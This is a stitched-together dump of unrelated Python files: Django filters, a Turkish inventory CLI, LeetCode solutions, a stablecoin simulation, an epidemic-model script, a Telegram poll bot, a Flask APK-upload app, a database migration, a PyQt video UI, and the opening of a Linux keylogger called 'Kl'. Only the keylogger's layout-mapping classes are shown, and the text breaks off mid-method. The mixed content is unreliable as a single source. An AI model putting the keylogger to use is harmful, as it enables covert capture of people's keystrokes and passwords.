    for day in range(1, number_days+1):
        if not datetime.date(year, month_number, day) > datetime.date.today():
            dates.append(datetime.date(year, month_number, day))
    return dates

@register.filter
def month_abbrev(month):
    return month[:3]

@register.filter
def slice_year(y):
    return str(y)[2:]

@register.filter
def is_weekend(d):
    return True if d.weekday() in (5,6) else False

@register.filter
def session_url(day):
    from democratica.dar.models import Day
    d = Day.objects.get(date=day)
    return d.get_absolute_url()

@register.filter
def get_template_from_entry_type(t):
    if not t:
        return 'dar/entry_snippets/outra.html'
    return 'dar/entry_snippets/' + t + '.html'

@register.filter
def day_padding(day):
    output = ''
    for x in range(day.weekday()):
        output += '

'
    return mark_safe(output)

# stolen from http://stackoverflow.com/questions/783897/truncating-floats-in-python
def trunc(f, n):
    '''Truncates/pads a float f to n decimal places without rounding'''
    slen = len('%.*f' % (n, f))
    return str(f)[:slen]

@register.filter
def floatise(s):
    return mark_safe(trunc(s, 2).replace(',','.'))

@register.filter
def lookup(dict, index):
    if index in dict:
        return dict[index]
    return None

@register.filter
def lookuplookup(dict, index1, index2):
    if index1 in dict:
        if index2 in dict[index1]:
            return dict[index1][index2]
    return ''

@register.filter
def startswith(value, arg):
     """Usage, {% if value|startswith:"arg" %}"""
     return value.startswith(arg)

@register.filter
def endswith(value, arg):
     """Usage, {% if value|endswith:"arg" %}"""
     return value.endswith(arg)


stok = {}

def urun_ekle(stok):
    while True:
        print("""
              Ürün ID numarası 6 haneli
              Ürün Kategorisi
              Ürün İsmi
              Ürün Rengi
              Ürün Adedi
              Ürün Birim Alış Fiyatı
              Ürün Birim Satış Fiyatı
              """)

        urun_id = input("ürün_id: ")
        sozluk = {}

        if urun_id.startswith("101") == True:
            urun_kategorisi = "Telefon"

        elif urun_id.startswith("201") == True:
            urun_kategorisi = "Bilgisayar"

        elif urun_id.startswith("301") == True:
            urun_kategorisi = "Beyaz Eşya"

        elif urun_id.startswith("401") == True:
            urun_kategorisi = "Ev Aletleri"

        elif urun_id == "999":
            break

        menu = {}
        urun_adet = input("Adet: ")
        menu["Adet"] = urun_adet
        urun_alis = float(input("Alış Fiyatı: "))
        menu["Ürün Alış Fiyatı"] = urun_alis
        urun_satis = float(input("Satış Fiyatı: "))
        menu["Ürün Satış Fiyatı"] = urun_satis
        urun_renk = input("Renk: ")
        menu["Renk"] = urun_renk
        urun_isim = input("İsim: ")
        menu["İsim"] = urun_isim

        sozluk[urun_kategorisi] = menu
        stok[urun_id] = sozluk
        print(stok)

def urun_cikar(stok,silinecek_urun_id):
    del stok[silinecek_urun_id]

    return stok

def urun_bilgi_guncelle(stok, guncellenecek_urun_id, urun_kategorisi):
    a = input("Değiştirmek istediğiniz bilgi: ")
    b = input("Güncellenecek değeri: ")
    stok[guncellenecek_urun_id][urun_kategorisi][a] = b
    # stok[guncellenecek_urun_id][urun_kategorisi][a] = a
    # stok[guncellenecek_urun_id][urun_kategorisi]["Ürün Satış Fiyatı"] = a

def stok_goruntule(stok):
    for i,j in stok.items():
            print(i," : ",j)

while True:
    print("""
          [1] Ürün Ekle
          [2] Ürün Çıkar
          [3] Ürün Bilgilerini Güncelle
          [4] Stok Görüntüle
          [0] Çıkış
          """)

    secim = int(input("işlem numarası: "))

    if secim == 0:
        break
    elif secim == 1:
        urun_ekle(stok)
    elif secim == 2:
        silinecek_urun_id = input("Silmek istediğiniz ürünün id'si : ")
        urun_cikar(stok,silinecek_urun_id)
    elif secim == 3:
        guncellenecek_urun_id = str(input("Ürün id'si giriniz: "))
        urun_kategorisi = str(input("Kategori adını giriniz: "))
        urun_bilgi_guncelle(stok,guncellenecek_urun_id, urun_kategorisi)
    elif secim == 4:
        stok_goruntule(stok)
        print(type(stok))
    else:
        print("yanlış işlem numarası")


# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right
class Solution:

    def _dfs(self, root: TreeNode):
        left_sum = 0
        right_sum = 0

        if root.left:
            left_sum = max(0, self._dfs(root.left))
        if root.right:
            right_sum = max(0, self._dfs(root.right))

        self._max = max(self._max, (root.val + left_sum + right_sum))

        return (root.val + left_sum) if left_sum > right_sum else (root.val + right_sum)

    def maxPathSum(self, root: Optional[TreeNode]) -> int:
        self._max = -1000
        self._dfs(root)
        return self._max


# -*- coding: latin-1 -*-

import re
from encodingUtils import smart_unicode

def findall(data,regex):
    p_reg = re.compile(regex, re.IGNORECASE + re.DOTALL + re.MULTILINE)
    result = p_reg.findall(data)
    return result

def parseTextToGroups(txt, regex):
    p = re.compile(regex, re.IGNORECASE + re.DOTALL + re.MULTILINE)
    m = p.match(smart_unicode(txt))
    if m:
        return m.groups()
    else:
        return None

def parseText(txt, regex, variables=[]):
    groups = parseTextToGroups(txt, regex)
    if variables == []:
        if groups:
            return groups[0]
        else:
            return ''
    else:
        resultArr = {}
        i = 0
        for v in variables:
            if groups:
                resultArr[v] = groups[i]
            else:
                resultArr[v] = ''
            i += 1
        return resultArr


import numpy as np
import matplotlib.pyplot as plt

# model parameters
class ModelParams:
    def __init__(self):
        self.D = 0.5 # base fee decay factor

        self.T = 1 # weighting for token price in trove issuance
        self.F = 0.3 # weighting for momentum in trove issuance

        self.lookback = 5 # Lookback parameter for ETH price momentum

        self.max_redemption_fraction = 1 # Maximum fraction of supply that can be redeemed in a timestep

# time series data
class Data:
    def __init__(self):
        self.ETH_price = [500.0]
        self.momentum = [0.0]
        self.base_fee = [0.0]
        self.redeemed_amount = [0.0]
        self.token_price = [1.0]
        self.trove_issuance = [100.0]
        self.token_supply = [100.0]
        self.token_demand = 100.0

### Functions
def get_new_momentum(data, params, ETH_price):
    lookback = params.lookback
    if lookback == 0:
        return 0

    ETH_price_past = get_past_ETH_price(data, params)

    new_momentum = (ETH_price - ETH_price_past) /  ETH_price_past
    return new_momentum

def get_past_ETH_price(data, params):
    length = len(data.ETH_price)

    ETH_price_past = None
    if (params.lookback > length):
        ETH_price_past = data.ETH_price[0]
    else:
        ETH_price_past = data.ETH_price[length - params.lookback - 1]

    if ETH_price_past == 0:
        return 1
    return ETH_price_past

def get_new_redeemed_amount(data, params):
    max_redeemable  = data.token_supply[-1] * params.max_redemption_fraction
    if max_redeemable == 0:
        return 0

    redeemed = (1 - data.token_price[-1] - data.base_fee[-1]) * data.token_supply[-1]

    if redeemed < 0:
        return 0
    else:
        return min(redeemed, max_redeemable)

# Decay base fee correctly
def get_new_base_fee(data, redeemed_amount):
    if data.token_supply[-1] == 0:
        return 0

    base_fee = (data.base_fee[-1] + (redeemed_amount / (2 * data.token_supply[-1]))) *params.D
    return base_fee

# return the exogenous market demand for holding YETI tokens. Assume constant. Could be a function of:
# - Demand for a safe-haven $1-pegged asset
# - Traders' demand for short-term liquidity
def get_token_demand():
    return 100.0

# compute price based on setting token supply = trove demand, and clearing the market
def get_new_token_price(data, params, redeemed_amount, momentum):
    T = params.T
    F = params.F

    factor =  1/T
    print(f'factor: {factor}')
    price = (((data.token_demand  - redeemed_amount) / (data.trove_issuance[-1])) - (F * momentum)) * factor

    if price < 0:
        return 0
    else:
        return price
    return price

def get_new_token_demand(data, params, token_price, momentum):
    demand = data.token_demand
    if demand < 0:
        return 0
    else:
        return demand

def get_new_trove_issuance(data, params, token_price, momentum ):
    trove_issuance = data.trove_issuance[-1] * (params.T*(token_price) + params.F*(momentum))

    if trove_issuance < 0:
        return 0
    else:
        return trove_issuance

def get_new_token_supply(trove_issuance, redeemed):
    new_supply =  trove_issuance - redeemed

    if new_supply < 0:
        return 0
    else:
        return new_supply

# Given Liquity's hard price ceiling of 1.10,
# compute the excess trove issuance needed to maintain the price at 1.1, according to QTM.
def get_excess_issuance(token_price, token_supply):
    if token_price > 1.1:
        excess_issuance = token_supply * (token_price - 1.1)/1.1
        return excess_issuance
    else:
        return 0

### Various ETH price functions

def constant_ETH_price(last_price):
    return last_price

# ETH price generator is a random walk (normal dist.), with occasional large +ve and -ve jumps
def randomwalk_ETH_price(last_price):
    big_event = 0
    big_event_chance = np.random.normal()

    if (big_event_chance > 1.5) or (big_event_chance < -1.5):
        big_event = big_event_chance * 20

    new_price  = last_price + np.random.normal(scale=5) + big_event

    if new_price < 0:
        return 0
    else:
        return new_price

def linear_increasing_ETH_price(last_price, gradient):
    return last_price + gradient

def oscillating_ETH_price(min, magnitude, i):
    return min + magnitude + magnitude*np.sin(i)

def linear_decreasing_ETH_price(start, gradient, i):
    val = (start - (gradient*i))
    if val <= 0:
        return 0
    return val

def one_over_i_ETH_price(scale, i):
    return scale/i

def quadratic_ETH_price(min, scale, i):
    return min + scale*(i**2)

def sublinear_ETH_price(last_price, steepness, i):
    return last_price + 1/(2*np.sqrt(steepness*(i+1)))

# ### Script

# Initialize model parameters and data timeseries
params = ModelParams()
data = Data()

# Run the model
for i in range(1, 250):
    last_ETH_price =  data.ETH_price[-1]

    # update exogenous ETH price

    # ETH_price = last_ETH_price
    ETH_price = randomwalk_ETH_price(last_ETH_price)
    # ETH_price = oscillating_ETH_price(500, 100, i)
    # ETH_price = quadratic_ETH_price(500, 10, i)
    # ETH_price = linear_increasing_ETH_price(last_ETH_price, 3)
    # ETH_price = linear_decreasing_ETH_price(800, 1, i)
    # ETH_price = one_over_i_ETH_price(1000, i)
    # ETH_price = sublinear_ETH_price(last_ETH_price, 10, i)

    momentum = get_new_momentum(data, params, ETH_price)
    redeemed_amount = get_new_redeemed_amount(data, params)
    base_fee = get_new_base_fee(data, redeemed_amount)

    data.token_demand = get_token_demand()

    # clear the market
    token_price = get_new_token_price(data, params, redeemed_amount, momentum)
    token_demand = get_new_token_demand(data, params, token_price, momentum)
    trove_issuance = get_new_trove_issuance(data, params, token_price, momentum)
    token_supply = get_new_token_supply(trove_issuance, redeemed_amount)

    # if price > 1.1, correct it via the price ceiling and QTM
    excess_issuance = get_excess_issuance(token_price, token_supply)

    if token_price > 1.1:
        token_price = 1.1

    trove_issuance = trove_issuance + excess_issuance
    token_supply = get_new_token_supply(trove_issuance, 0)

    # Log all new values
    print(f'step: {i}')
    print(f'ETH price: {ETH_price}')
    print(f'momentum: {momentum}')
    print(f'redeemed amount: {redeemed_amount}')
    print(f'base fee: {base_fee}')
    print(f'token price: {token_price}')
    print(f'token demand: {token_demand}')
    print(f'trove_issuance: {trove_issuance}')
    print(f'token_supply: {token_supply}')

    # update all timeseries arrays
    data.ETH_price.append(ETH_price)
    data.momentum.append(momentum)
    data.redeemed_amount.append(redeemed_amount)
    data.base_fee.append(base_fee)
    data.token_price.append(token_price)
    data.token_demand = token_demand
    data.trove_issuance.append(trove_issuance)
    data.token_supply.append(token_supply)

### Graph the results

fig = plt.figure()
ax1 = fig.add_subplot(221)
ax1.set_title('Token price')
plt.ylim(0.0, 1.5)
plt.plot(data.token_price)

ax2 = fig.add_subplot(222)
ax2.set_title('Redeemed amount')
plt.ylim(0.0, 10)
plt.plot(data.redeemed_amount)

ax3 = fig.add_subplot(223)
ax3.set_title('ETH Price')
plt.ylim(0, 1000)
plt.plot(data.ETH_price)

ax4 = fig.add_subplot(224)
ax4.set_title('Base fee')
plt.ylim(0.0, 0.05)
plt.plot(data.base_fee)

# plt.plot(data.momentum)
# plt.plot(data.token_demand)

params_string = f'Parameters:  D={params.D}  T={params.T}  F={params.F}  L={params.lookback}  r_max={params.max_redemption_fraction}'
plt.figtext(0.5, 0.05, params_string, ha="center", fontsize=10)

plt.show()


# Given a binary tree, find its maximum depth.

# The maximum depth is the number of nodes along the longest path from the root node down to the farthest leaf node.

# Note: A leaf is a node with no children.

# Example:

# Given binary tree [3,9,20,null,null,15,7],

#     3
#    / \
#   9  20
#     /  \
#    15   7
# return its depth = 3.

# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right

class Solution:
    def maxDepth(self, root):

        currNodeList = [root] if root else []
        depth = 0
        while currNodeList and len(currNodeList)>0:
            queue = []
            depth += 1
            for elem in currNodeList:
                if elem.left:
                    queue.append(elem.left)
                if elem.right:
                    queue.append(elem.right)
            currNodeList = queue
        return depth


"""
:code:`structural.py`

Alternative choices of model structure.
"""

import os

os.environ['OMP_NUM_THREADS'] = '1'
os.environ['MKL_NUM_THREADS'] = '1'
os.environ['OPENBLAS_NUM_THREADS'] = '1'

import pymc3 as pm

from epimodel import EpidemiologicalParameters
from epimodel.preprocessing.data_preprocessor import preprocess_data

import argparse

from scripts.sensitivity_analysis.utils import *

argparser = argparse.ArgumentParser()
add_argparse_arguments(argparser)
# this is a hack to make this work easily.
argparser.add_argument('--model_structure', dest='model_structure', type=str,
                       help='| model structure choice:\
          | - additive: the reproduction rate is given by R_t=R0*(sum_i phi_{i,t} beta_i)\
          | - discrete_renewal_fixed_gi: uses discrete renewal model to convert reproduction rate R into growth rate g with fixed generation interval\
          | - noisy_r: noise is added to R_t before conversion to growth rate g_t (default model adds noise to g_t after conversion)\
          | - different_effects: each region c has a unique NPI reduction coefficient alpha_{i,c}\
          | - cases_only: the number of infections is estimated from case data only\
          | - deaths_only: the number of infections is estimated from death data only\
          | - deaths_only_discrete renewal: death only discrete renewal model\
          | - complex: different effects model with per intervention country variability')

if __name__ == '__main__':

    args, extras = argparser.parse_known_args()

    data = preprocess_data(get_data_path(), last_day='2020-05-30')
    data.mask_reopenings()

    ep = EpidemiologicalParameters()
    model_class = get_model_class_from_str(args.model_structure)

    bd = {**ep.get_model_build_dict(), **parse_extra_model_args(extras)}
    if args.model_structure == 'discrete_renewal_fixed_gi':
        # posterior means from a full model run
        bd['gi_mean_mean'] = 5.12
        bd['gi_sd_mean'] = 2.20

    with model_class(data) as model:
        model.build_model(**bd)

    with model.model:
        model.trace = pm.sample(args.n_samples, tune=500, chains=args.n_chains, cores=args.n_chains, max_treedepth=14,
                                target_accept=0.95, init='adapt_diag')

    save_cm_trace(f'{args.model_structure}.txt', model.trace.CMReduction, args.exp_tag,
                  generate_base_output_dir(args.model_type, parse_extra_model_args(extras)))

    if model.country_specific_effects:
        nS, nCMs = model.trace.CMReduction.shape
        full_trace = np.exp(
            np.log(model.trace.CMReduction) + np.random.normal(size=(nS, nCMs)) * model.trace.CMAlphaScales)
        save_cm_trace(f'{args.model_structure}-cs.txt', full_trace, args.exp_tag,
                      generate_base_output_dir(args.model_type, parse_extra_model_args(extras)))


from aiogram.types import Poll, PollOption, PollAnswer
from aiogram import types, Dispatcher
from tg_bot import bot
from aiogram.dispatcher.filters import filters

async def polls(messages: types.Message):
    """
       Отправляет опрос с вопросом о любимом цвете и вариантами ответов (Red, Blue, Green, Yellow).
       :param message: Объект сообщения Telegram.
       :return: None
    """
    poll = Poll(
        question='Ваш любимый цвет?',
        options=[
            PollOption(text='Red'),
            PollOption(text='Blue'),
            PollOption(text='Green'),
            PollOption(text='Yellow'),
        ],
        type='regular',  # опрос с одним ответом
        is_anonymous=True,
        allows_multiple_answers=False,
    )

    # отправка опроса
    await bot.send_poll(chat_id=messages.chat.id, question=poll.question, options=[o.text for o in poll.options],
                        type=poll.type, is_anonymous=poll.is_anonymous,
                        allows_multiple_answers=poll.allows_multiple_answers)

def register_polls(dp: Dispatcher):
    """
        Функция регистрирует обработчик сообщений для команды /poll.
        :param dp: Диспетчер бота.
        :type dp: :class:`telegram.ext.Dispatcher`
    """
    dp.register_message_handler(polls, commands=['poll'])


# because Python 2.x is stupid.
from __future__ import division, absolute_import

# System modules
import uuid

# Flask
from flask import Flask
from flask import request
from flask import render_template
from flask import session
from flask import redirect
from flask import abort
from flask import send_from_directory
from flask import jsonify

# Custom modules
import common
import apkmgr

# Main app instance
app = Flask(__name__)

# Setup
common.install_secret_key(app)
common.generate_keystore()

@app.route('/')
def hello():
    common.start_cleanup()
    return render_template('hello.html')

@app.route('/upload/', methods=['GET', 'POST'])
def upload_apk():
    common.start_cleanup()
    if request.method == "POST":
        package_name = request.form['PackageName']
        unique_filename = uuid.uuid4().urn[9:]
        f = request.files['File']
        f.save('tmp/' + unique_filename + '.apk')
        session['last_file'] = unique_filename
        # perhaps try to lock mutex?
        filerec_obj = common.UploadedFile(unique_filename, package_name)
        common.current_files[unique_filename] = filerec_obj
        # spin new thread and run modify_package_name
        common.start_threaded(apkmgr.modify_package_name, filerec_obj)
        return render_template('file_uploaded.html', filename=unique_filename)
    else:
        return redirect('/', code=302)

@app.route('/status/')
def get_uploaded_apk():
    common.start_cleanup()
    uuid = request.args.get('uuid')
    if uuid in common.current_files:
        reqfile_obj = common.current_files[uuid]
        # return a json with status code
        retdata = {'status': reqfile_obj.get_status().value}
        if reqfile_obj.get_status() == common.UploadedStatus.SUCCESS:
            retdata['url'] = "/getfile/" + reqfile_obj.get_uuid() + ".apk"
        else:
            retdata['url'] = ""

        return jsonify(**retdata)
    else:
        abort(404)

@app.route('/getfile/<uuid>.apk')
def send_file(uuid):
    # sending as uuid because too lazy to translate to filename
    common.start_cleanup()
    if uuid in common.current_files:
        reqfile_obj = common.current_files[uuid]
        if reqfile_obj.get_status() != common.UploadedStatus.SUCCESS:
            abort(404)
        else:
            directory = "tmp/output/" + reqfile_obj.get_uuid() + "/"
            filename =  "output.apk"
            return send_from_directory(directory, filename)

if __name__ == "__main__":
    app.config['DEBUG'] = True
    app.run()


"""empty message

Revision ID: f3fd2cf6022b
Revises: 34f027be92a2
Create Date: 2020-04-10 18:20:31.013635

"""
from alembic import op
import sqlalchemy as sa

# revision identifiers, used by Alembic.
revision = 'f3fd2cf6022b'
down_revision = '34f027be92a2'
branch_labels = None
depends_on = None

def upgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.create_table('volunteer_mission',
    sa.Column('volunteer_id', sa.BigInteger(), nullable=False),
    sa.Column('mission_id', sa.BigInteger(), nullable=False),
    sa.ForeignKeyConstraint(['mission_id'], ['missions.id'], ),
    sa.ForeignKeyConstraint(['volunteer_id'], ['volunteers.id'], ),
    sa.PrimaryKeyConstraint('volunteer_id', 'mission_id')
    )
    op.add_column('missions', sa.Column('state_changed_at', sa.DateTime(), nullable=True))
    op.drop_index('ix_missions_elder_phone_number', table_name='missions')
    op.create_index(op.f('ix_missions_elder_phone_number'), 'missions', ['elder_phone_number'], unique=False)
    op.drop_constraint('volunteers_mission_id_fkey', 'volunteers', type_='foreignkey')
    op.drop_column('volunteers', 'mission_id')
    # ### end Alembic commands ###

def downgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.add_column('volunteers', sa.Column('mission_id', sa.INTEGER(), autoincrement=False, nullable=True))
    op.create_foreign_key('volunteers_mission_id_fkey', 'volunteers', 'missions', ['mission_id'], ['id'])
    op.drop_index(op.f('ix_missions_elder_phone_number'), table_name='missions')
    op.create_index('ix_missions_elder_phone_number', 'missions', ['elder_phone_number'], unique=True)
    op.drop_column('missions', 'state_changed_at')
    op.drop_table('volunteer_mission')
    # ### end Alembic commands ###


import cv2
import threading
import sys
from PyQt5 import QtWidgets
from PyQt5 import QtGui
from PyQt5 import QtCore
from PyQt5.QtGui import QIcon
from PyQt5.QtCore import QRect
from PyQt5.QtWidgets import (QApplication,QLabel, QDialog, QWidget, QGroupBox, QRadioButton, QCheckBox, QPushButton, QMenu, QGridLayout, QVBoxLayout, QHBoxLayout)

from scipy.spatial import distance as dist
from imutils.video import VideoStream
from imutils import face_utils
from threading import Thread

from scipy.spatial import distance as dist
from imutils.video import VideoStream
from imutils import face_utils
import datetime
import math
import playsound
import argparse
import imutils
import time
import dlib
import csv
import numpy as np

def CreateCheckBox(self):
        self.groupbox = QGroupBox("How much are you understanding? :-)")
        self.groupbox.setFont(QtGui.QFont("Times", 17))
        vboxLayout = QVBoxLayout()

        self.check1 = QCheckBox("Good")
        self.check1.setIcon(QtGui.QIcon("smile.png"))
        self.check1.setIconSize(QtCore.QSize(40, 40))
        self.check1.setFont(QtGui.QFont("Times", 15))
        vboxLayout.addWidget(self.check1)

        self.check2 = QCheckBox("So..so..")
        self.check2.setIcon(QtGui.QIcon("soso.png"))
        self.check2.setIconSize(QtCore.QSize(40, 40))
        self.check2.setFont(QtGui.QFont("Times", 15))
        vboxLayout.addWidget(self.check2)

        self.check3 = QCheckBox("Not well..")
        self.check3.setIcon(QtGui.QIcon("notwell.png"))
        self.check3.setIconSize(QtCore.QSize(40, 40))
        self.check3.setFont(QtGui.QFont("Times", 15))
        vboxLayout.addWidget(self.check3)

        self.groupbox.setLayout(vboxLayout)

running = False

def run():

    time.sleep(2.0)
    i = 0
    j = 0
    c = 0

    # btn_ll.clicked.connect(change1)
    # btn_tl.clicked.connect(change2)

    global running
    cap = cv2.VideoCapture('hapum.mov')
    width = cap.get(cv2.CAP_PROP_FRAME_WIDTH)
    height = cap.get(cv2.CAP_PROP_FRAME_HEIGHT)
    label.resize(width, height)

    # 친구 얼굴 1
    pixmap5 = QtGui.QPixmap('2.png')
    label3.setPixmap(pixmap5)
    label3.show()

    # 친구 얼굴 2
    pixmap3 = QtGui.QPixmap('2.png')
    label4.setPixmap(pixmap3)
    label4.show()

    # 친구 얼굴 3
    pixmap4 = QtGui.QPixmap('3.png')
    label5.setPixmap(pixmap4)
    label5.show()

    # 친구 얼굴 4
    pixmap6 = QtGui.QPixmap('4.png')
    label6.setPixmap(pixmap6)
    label6.show()

    #learning objective 칸
    pixmap2 = QtGui.QPixmap('ll1.png')
    label2.setPixmap(pixmap2)
    label2.show()

    C = 0
    while running:
        ret, img = cap.read()
        img = imutils.resize(img, width = 800)

        if ret:
            img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
            h,w,c = img.shape

            # cv2를 Pixmap으로.
            qImg = QtGui.QImage(img.data, w, h, w*c, QtGui.QImage.Format_RGB888)
            pixmap = QtGui.QPixmap.fromImage(qImg)
            label.setPixmap(pixmap)
        else:
            QtWidgets.QMessageBox.about(win, "Error", "Cannot read frame.")
            print("cannot read frame.")
            break

    cap.release()
    print("Thread end.")

def stop():
    global running
    running = False
    print("stoped..")

def start():
    global running
    running = True
    th = threading.Thread(target=run)
    th.start()
    print("started..")

def change1():
    pix = QtGui.QPixmap('ll.png')
    label2.setPixmap(pix)
    label2.show()

def change2():
    pix = QtGui.QPixmap('ll2.png')
    label2.setPixmap(pix)
    label2.show()
    print("hi")

def onExit():
    print("exit")
    stop()

app = QtWidgets.QApplication([])
win = QtWidgets.QWidget()
CreateCheckBox(win)

vbox = QtWidgets.QVBoxLayout()
horizontal_layout1 = QtWidgets.QHBoxLayout()
horizontal_layout2 = QtWidgets.QHBoxLayout()
horizontal_layout3 = QtWidgets.QHBoxLayout()
vertical_layout = QtWidgets.QVBoxLayout()
vertical_layout2 = QtWidgets.QVBoxLayout()

# label은 '학생 얼굴 화면'
label = QtWidgets.QLabel()

# label2는 오른쪽에 띄울 화면
label2 = QtWidgets.QLabel()
label2.resize(100, 300)

# label3~6은 zoom 친구들 화면
label3 = QtWidgets.QLabel()
label4 = QtWidgets.QLabel()
label5 = QtWidgets.QLabel()
label6 = QtWidgets.QLabel()

btn_start = QtWidgets.QPushButton("Camera On")
btn_stop = QtWidgets.QPushButton("Camera Off")
btn_ll = QtWidgets.QPushButton("Learning Obj")
btn_tl = QtWidgets.QPushButton("Time Line")

horizontal_layout1.addWidget(label3)
horizontal_layout1.addWidget(label4)
horizontal_layout1.addWidget(label5)
horizontal_layout1.addWidget(label6)

vertical_layout2.addWidget(label2)
vertical_layout2.addWidget(win.groupbox)

horizontal_layout2.addWidget(label)
horizontal_layout2.addLayout(vertical_layout2)

vertical_layout.addLayout(horizontal_layout1)
vertical_layout.addLayout(horizontal_layout2)
vertical_layout.addWidget(btn_start)
vertical_layout.addWidget(btn_stop)

win.setWindowTitle('New Zoom')
win.setLayout(vertical_layout)

win.show()

btn_start.clicked.connect(start)
print("hi")
btn_stop.clicked.connect(stop)
btn_ll.clicked.connect(change2)

app.aboutToQuit.connect(onExit)

sys.exit(app.exec_())


#!/usr/bin/env python3

"""
Kl is a simple keylogger for Linux + X11.

Requires Python 3 and xlib.

Homepage and documentation: https://github.com/surrealists/kl

License: MIT (see LICENSE for details)
"""

import ctypes
from ctypes.util import find_library
from time import sleep

__author__ = 'Cristian Cabrera'
__version__ = '4.0.0'
__license__ = 'MIT'

__all__ = [
    'Kl',
    'BaseTransformer',
    'SpanishTransformer',
    'EnglishUsaTransformer',
    'PtBrTransformer',
    'PrintHandler',
    'FileHandler',
]

# ============
# Transformers
# ============

class BaseTransformer:
    """Base for Transformer classes."""
    def __init__(self):
        self._digits = '0123456789'
        self._letters = 'abcdefghijklmnopqrstuvwxyz'

        self._command_keys = (
            'esc',
            'f1', 'f2', 'f3', 'f4', 'f5', 'f6',
            'f7', 'f8', 'f9', 'f10', 'f11', 'f12',
            'alt',
            'backspace',
            'tab',
            'enter',
            'spacebar',
            'capslock',
            'keypad bloqnum',
            'keypad intro',
            'printscreen',
            'home',
            'up',
            'repag',
            'left',
            'right',
            'end',
            'down',
            'avpag',
            'insert',
            'delete',
            'keypad 0', 'keypad 1', 'keypad 2', 'keypad 3', 'keypad 4',
            'keypad 5', 'keypad 6', 'keypad 7', 'keypad 8', 'keypad 9',
            'keypad .', 'keypad /', 'keypad *', 'keypad -', 'keypad +',
        )

    def _only_shifts(self, modifiers):
        """Check if modifiers pressed are only shifts"""
        if not modifiers or len(modifiers) > 2:
            return False
        if len(modifiers) == 2:
            return 'left shift' in modifiers and 'right shift' in modifiers
        if len(modifiers) == 1:
            return 'left shift' in modifiers or 'right shift' in modifiers

    def _only_right_alt(self, modifiers):
        """Check if the only modifier pressed is right alt"""
        if not modifiers or len(modifiers) > 1:
            return False
        return 'right alt' in modifiers

class SpanishTransformer(BaseTransformer):
    """Transformer for Spanish keyboard layout"""
    def __init__(self):
        super().__init__()

        self._layout = {
            'no_mods': {
                ';': 'ñ',
                '`': 'º',
                '-': '\'',
                '=': '¡',
                '<': '<',
                '[': '`',
                ']': '+',
                '\'': '´',
                '\\': 'ç',
                ',': ',',
                '.': '.',
                '/': '-',
            },
            'shift': {
                ';': 'Ñ',
                '0': '=',
                '1': '!',
                '2': '"',
                '3': '·',
                '4': '$',
                '5': '%',
                '6': '&',
                '7': '/',
                '8': '(',
                '9': ')',
                '`': 'ª',
                '-': '?',
                '=': '¿',
                '<': '>',
                '[': '^',
                ']': '*',
                '\'': '¨',
                '\\': 'Ç',
                ',': ';',
                '.': ':',
                '/': '_',
                'keypad /': '<keypad />',
                'keypad *': '<keypad *>',
                'keypad intro': '<keypad intro>',
            },
            'right_alt': {
                'q': '@',
                '0': '}',
                '1': '|',
                '2': '@',
                '3': '#',
                '4': '~',
                '5': '½',
                '6': '¬',
                '7': '{',
                '8': '[',
                '9': ']',
                '`': '\\',
                '-': '\\',
                '=': '~',
                '<': '|',
                '[': '[',
                ']': ']',
                '\'': '{',
                '\\': '}',
                '.': '·',
            },
        }

    def transform(self, keys):
        """Apply Spanish layout to the pressed keys"""
        key = keys['regular'][0]
        modifiers = keys['modifiers']

        try:
            if not modifiers:
                if key in self._letters or key in self._digits:
                    res = key
                elif key in self._command_keys:
                    res = '<' + key + '>'
                else:
                    res = self._layout['no_mods'][key]
            elif self._only_shifts(modifiers):
                if key in self._letters:
                    res = key.upper()
                else:
                    res = self._layout['shift'][key]
            elif self._only_right_alt(modifiers):
                res = self._layout['right_alt'][key]
            else:
                res = None
        except KeyError:
            res = None

        return res

class PtBrTransformer(BaseTransformer):
    """Transformer for Portuguese (Brazil) keyboard layout."""
    def __init__(self):
        super().__init__()

        self._layout = {
            'no_mods': {
                ';': 'ç',
                '`': "'",
                '-': '-',
                '=': '=',
                '<': '\\',
                '[': '´',
                ']': '[',
                '\'': '~',
                '\\': ']',
                ',': ',',
                '.': '.',
                '/': ';',

            },
            'shift': {
                ';': 'Ç',
                '0': ')',
                '1': '!',
                '2': '@',
                '3': '#',
                '4': '$',
                '5': '%',
                '6': '¨',
                '7': '&',
                '8': '*',
                '9': '(',
                '`': '"',
                '-': '_',
                '=': '+',
                '<': '|',
                '[': '`',
                ']': '{',
                '\'': '^',
                '\\': '}',
                ',': '<',
                '.': '>',
                '/': ':',
                'keypad /': '<keypad />',
                'keypad *': '<keypad *>',
                'keypad intro': '<keypad intro>',
            },
            'right_alt': {
                'q': '/',
                '0': '}',
                '1': '¹',
                '2': '²',
                '3': '³',
                '4': '£',
                '5': '¢',
                '6': '¬',
                '7': '{',
                '8': '[',
                '9': ']',
                '`': '¬',
                '-': '\\',
                '=': '§',
                '<': 'º',
                '[': '´',
                ']': 'ª',
                '\'': '~',
                '\\': 'º',
                '.': '·',
            },
        }

    def transform(self, keys):
        """Apply brazilian br-abnt2 layout to the pressed keys"""
        key = keys['regular'][0]
        modifiers = keys['modifiers']

        try:
            if not modifiers:
                if key in self._letters or key in self._digits:
                    res = key
                elif key in self._command_keys:
                    res = '<' + key + '>'
                else:
                    res = self._layout['no_mods'][key]
            elif self._only_shifts(modifiers):
                if key in self._letters:
                    res = key.upper()
                else:
                    res = self._layout['shift'][key]
            elif self._only_right_alt(modifiers):
                res = self._layout['right_alt'][key]
            else:
                res = None
        except KeyError:
            res = None

        return res

class EnglishUsaTransformer(BaseTransformer):
    """Transformer for English (USA) keyboard layout."""
    def __init__(self):
        super().__init__()

        self._layout = {
            'misc': ';`-=<[]\'\\,./',
            'shift': {
                ';': ':',
                '0': ')',
                '1': '!',
                '2': '@',
                '3': '#',
                '4': '$',
                '5': '%',
                '6': '^',
                '7': '&',
                '8': '*',
                '9': '(',
                '`': '~',
                '-': '_',
                '=': '+',
                '<': '>',
                '[': '{',
                ']': '}',
                '\'': '"',
                '\\': '|',
                ',': '<',
                '.': '>',
                '/': '?',
                'keypad /': '<keypad />',
                'keypad *': '<keypad *>',
                'keypad intro': '<keypad intro>',
            },
        }

    def transform(self, keys):
        """Apply English USA layout to the pressed keys"""
